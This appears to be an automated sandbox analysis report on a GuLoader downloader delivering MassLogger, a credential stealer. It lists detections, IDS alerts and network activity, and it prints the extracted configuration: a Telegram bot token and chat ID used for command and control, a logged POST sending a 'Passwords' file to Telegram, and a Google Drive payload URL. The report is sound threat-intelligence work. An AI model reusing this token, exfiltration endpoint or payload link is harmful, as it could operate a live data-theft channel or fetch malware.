Edit tour

Windows Analysis Report
9Yn5tjyOgT.exe

Overview

General Information

Sample name:	9Yn5tjyOgT.exe renamed because original name is a hash value
Original sample name:	927c3960a7d3c785ff7de3e89215dd9a895f27b2646011e34739201805b2b501.exe
Analysis ID:	1588203
MD5:	1e1fb3e8d33ab075679a645f298d4715
SHA1:	7dfe4d33d1d8e61cf586a71d1aab1c02e2ab4cdf
SHA256:	927c3960a7d3c785ff7de3e89215dd9a895f27b2646011e34739201805b2b501
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

9Yn5tjyOgT.exe (PID: 6208 cmdline: "C:\Users\user\Desktop\9Yn5tjyOgT.exe" MD5: 1E1FB3E8D33AB075679A645F298D4715)

9Yn5tjyOgT.exe (PID: 6068 cmdline: "C:\Users\user\Desktop\9Yn5tjyOgT.exe" MD5: 1E1FB3E8D33AB075679A645F298D4715)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2773955750.00000000070E9000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000006.00000002.3405749429.0000000005439000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: 9Yn5tjyOgT.exe PID: 6068	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: 9Yn5tjyOgT.exe PID: 6068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9Yn5tjyOgT.exe PID: 6068	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:40:30.359018+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49989	149.154.167.220	443	TCP
2025-01-10T22:40:32.242467+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49991	149.154.167.220	443	TCP
2025-01-10T22:40:33.909239+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49993	149.154.167.220	443	TCP
2025-01-10T22:40:36.421921+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49995	149.154.167.220	443	TCP
2025-01-10T22:40:39.076465+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49997	149.154.167.220	443	TCP
2025-01-10T22:40:41.661508+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	50000	149.154.167.220	443	TCP
2025-01-10T22:40:49.269816+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	50003	149.154.167.220	443	TCP
2025-01-10T22:40:58.055062+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	50006	149.154.167.220	443	TCP
2025-01-10T22:41:05.200346+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	50008	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:40:21.452271+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49987	132.226.247.73	80	TCP
2025-01-10T22:40:29.437077+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49987	132.226.247.73	80	TCP
2025-01-10T22:40:31.358603+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49990	132.226.247.73	80	TCP
2025-01-10T22:40:33.014815+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49992	132.226.247.73	80	TCP
2025-01-10T22:40:35.639978+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49994	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:40:10.368402+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49984	142.250.185.78	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:40:30.099611+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49989	149.154.167.220	443	TCP
2025-01-10T22:40:31.946248+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49991	149.154.167.220	443	TCP
2025-01-10T22:40:33.604776+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49993	149.154.167.220	443	TCP
2025-01-10T22:40:36.204461+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49995	149.154.167.220	443	TCP
2025-01-10T22:40:38.712435+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49997	149.154.167.220	443	TCP
2025-01-10T22:40:41.188866+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	50000	149.154.167.220	443	TCP
2025-01-10T22:40:48.901304+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	50003	149.154.167.220	443	TCP
2025-01-10T22:40:57.772086+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	50006	149.154.167.220	443	TCP
2025-01-10T22:41:04.896089+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	50008	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31957da5bf21Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D63000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3433775511.0000000039440000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000003.2948789931.0000000006836000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.00000000067AD000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3433775511.0000000039440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/D9?
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3433775511.0000000039440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/D9o
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2948789931.0000000006836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/I6
Source: 9Yn5tjyOgT.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412871884.00000000081C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_2
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_n
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/)-pr
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.00000000067AD000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/6
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/7
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006782000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_&export=download
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.129:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49989 version: TLS 1.2

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		6_2_004034A5

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_738E1B5F	0_2_738E1B5F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00404DCC	6_2_00404DCC
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00406AF2	6_2_00406AF2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00154328	6_2_00154328
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00158DA0	6_2_00158DA0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00155968	6_2_00155968
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00155F90	6_2_00155F90
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00152DD1	6_2_00152DD1
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B87EC6	6_2_36B87EC6
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8C638	6_2_36B8C638
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B87628	6_2_36B87628
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8572D	6_2_36B8572D
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8CCA0	6_2_36B8CCA0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B803AF	6_2_36B803AF
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8331A	6_2_36B8331A
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B86EA0	6_2_36B86EA0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B86E91	6_2_36B86E91
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B87EF6	6_2_36B87EF6
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8DEE1	6_2_36B8DEE1
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8E790	6_2_36B8E790
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8CCA2	6_2_36B8CCA2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8B4EC	6_2_36B8B4EC
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8BD88	6_2_36B8BD88
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8DA89	6_2_36B8DA89
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8EBF2	6_2_36B8EBF2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8E347	6_2_36B8E347
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8B07F	6_2_36B8B07F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B87848	6_2_36B87848
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8F042	6_2_36B8F042
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8C1F2	6_2_36B8C1F2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8B930	6_2_36B8B930
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958A9B0	6_2_3958A9B0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39580040	6_2_39580040
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958A360	6_2_3958A360
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958BA97	6_2_3958BA97
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39589D10	6_2_39589D10
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958BDF0	6_2_3958BDF0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39588650	6_2_39588650
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395896C8	6_2_395896C8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39582108	6_2_39582108
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958F130	6_2_3958F130
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958F120	6_2_3958F120
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395851F8	6_2_395851F8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395829B8	6_2_395829B8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395829A8	6_2_395829A8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958A9A0	6_2_3958A9A0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39581858	6_2_39581858
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39581848	6_2_39581848
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39587070	6_2_39587070
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39587061	6_2_39587061
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39584810	6_2_39584810
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39584820	6_2_39584820
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395820F8	6_2_395820F8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39586358	6_2_39586358
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958A352	6_2_3958A352
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39587B4F	6_2_39587B4F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39586368	6_2_39586368
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39583B18	6_2_39583B18
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39583B08	6_2_39583B08
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395843C8	6_2_395843C8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395813F0	6_2_395813F0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395843B9	6_2_395843B9
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39583258	6_2_39583258
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39583268	6_2_39583268
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585208	6_2_39585208
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585AB8	6_2_39585AB8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39585AA8	6_2_39585AA8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_3958255F	6_2_3958255F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39582560	6_2_39582560
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39589D00	6_2_39589D00
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39584DB0	6_2_39584DB0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39584DA0	6_2_39584DA0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39586C18	6_2_39586C18
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39586C09	6_2_39586C09
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_39581400	6_2_39581400
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395874C8	6_2_395874C8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_395874B8	6_2_395874B8
